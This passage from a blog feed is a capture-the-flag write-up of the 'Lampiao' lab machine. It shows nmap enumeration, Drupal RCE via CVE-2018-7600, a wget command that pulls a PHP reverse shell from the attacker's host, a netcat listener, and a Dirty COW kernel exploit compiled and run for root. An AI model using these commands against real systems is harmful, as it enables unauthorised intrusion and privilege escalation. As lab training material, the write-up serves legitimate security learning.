  &lt;li&gt;Exploiting this dirtycow vulnerability allows us to gain access as root user.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;detailed-steps&quot;&gt;Detailed steps&lt;/h3&gt;
&lt;hr /&gt;

&lt;h3 id=&quot;enumeration&quot;&gt;Enumeration&lt;/h3&gt;

&lt;p&gt;There’s a webserver, a SSH service and another interesting open port (1898) running on this box.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;\assets\images\pg-play-lampiao\1.JPG&quot; alt=&quot;nmap1&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Let’s take a closer look at these ports with Nmap.&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt; nmap -A 192.168.201.48 -p 22,80,1898 -o nmap_lampiao.txt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;img src=&quot;\assets\images\pg-play-lampiao\2.JPG&quot; alt=&quot;nmap2&quot; /&gt;&lt;/p&gt;

&lt;p&gt;As we can see in the last picture, the 1898 port it’s running an HTTP service. Nmap HTTP enum returns some interesting files as CHANGELOG.TXT&lt;/p&gt;

&lt;p&gt;CHANGELOG.txt it’s a common file in Drupal which shows the current version.
In this case the current version it’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;7.54&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;\assets\images\pg-play-lampiao\5.JPG&quot; alt=&quot;changelog&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;explotation&quot;&gt;Explotation&lt;/h3&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Drupal 7.54&lt;/code&gt; it’s vulnerable to a remote code execution as we can see in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CVE-2018-7600&lt;/code&gt; –&amp;gt; https://www.drupal.org/sa-core-2018-002
To exploit this vulnerability I used the following python code –&amp;gt; https://github.com/pimps/CVE-2018-7600&lt;/p&gt;

&lt;p&gt;The first step was to check the vulnerability. I successfully executed the exploit with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;id&lt;/code&gt; command.&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt; python3 drupa7-CVE-2018-7600.py http://192.168.201.48:1898 -c id
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;\assets\images\pg-play-lampiao\6.JPG&quot; alt=&quot;exploit1&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Now, in order to gain access to the victim’s machine, I uploaded a PHP revershell to the webserver.&lt;/p&gt;

&lt;p&gt;Configuring the webshell:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;\assets\images\pg-play-lampiao\7.JPG&quot; alt=&quot;shell1&quot; /&gt;&lt;/p&gt;

&lt;p&gt;After configuring the webshell, I opened an HTTP server on my Kali machine with python in my webshell directory:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt; python3 -m http.server 443
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;To upload the webshell I used the python exploit to execute a wget command on the victim’s machine:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt; python3 drupa7-CVE-2018-7600.py http://192.168.201.48:1898 -c &quot;wget http://192.168.45.177:443/php-reverse-shell.php&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;img src=&quot;\assets\images\pg-play-lampiao\8.JPG&quot; alt=&quot;exploit2&quot; /&gt;&lt;/p&gt;

&lt;p&gt;At this point, I was able to access to my webshell on victim’s machine and capture the shell running a Netcat listener.
&lt;img src=&quot;\assets\images\pg-play-lampiao\10.JPG&quot; alt=&quot;shell2&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;\assets\images\pg-play-lampiao\9.JPG&quot; alt=&quot;shell3&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Having access to www-data user I was able to find the first flag:
&lt;img src=&quot;\assets\images\pg-play-lampiao\userf.jpg&quot; alt=&quot;userflag&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;privilege-scalation&quot;&gt;Privilege scalation&lt;/h3&gt;

&lt;p&gt;In order to elevete my privileges I used Linpeas.sh –&amp;gt; https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS&lt;/p&gt;

&lt;p&gt;Linpeas found the following files with an interesting credentials:
&lt;img src=&quot;\assets\images\pg-play-lampiao\15.JPG&quot; alt=&quot;creds&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This credentials allowed me to log in via SSH as “tiago” user
&lt;img src=&quot;\assets\images\pg-play-lampiao\18.JPG&quot; alt=&quot;kernel1&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Linpeas found a kernel vulnerability too:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[+] [CVE-2016-5195] dirtycow 2

   Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
   Exposure: highly probable
   Tags: debian=7|8,RHEL=5|6|7,[ ubuntu=14.04|12.04 ],ubuntu=10.04{kernel:2.6.32-21-generic},ubuntu=16.04{kernel:4.4.0-21-generic}
   Download URL: https://www.exploit-db.com/download/40839
   ext-url: https://www.exploit-db.com/download/40847
   Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Kernel version:
&lt;img src=&quot;\assets\images\pg-play-lampiao\13.JPG&quot; alt=&quot;kernel2&quot; /&gt;&lt;/p&gt;

&lt;p&gt;To exploit this vulnerability I downloaded the exploit code and compiled it with:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;g++ -Wall -pedantic -02 -std=c++11 -pthread -o exploit 40847.cpp -lutil
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;After compiling, I ran the exploit with:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;./exploit -s
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;img src=&quot;\assets\images\pg-play-lampiao\13.JPG&quot; alt=&quot;kernel3&quot; /&gt;&lt;/p&gt;

&lt;p&gt;As we can see in the last picture, I was able to gain access to root user executing this kernel exploit.
Root access allowed me to find the last flag:
&lt;img src=&quot;\assets\images\pg-play-lampiao\rootf.jpg&quot; alt=&quot;kernel3&quot; /&gt;&lt;/p&gt;</content><author><name>AlexJaen</name><email>alejandrojaencrespo@gmail.com</email></author><category term="provinggrounds" /><category term="infosec" /><category term="provinggrounds" /><category term="linux" /><category term="drupal" /><category term="dirtycow" /><category term="kernel" /><category term="easy" /><summary type="html">Linux</summary></entry></feed>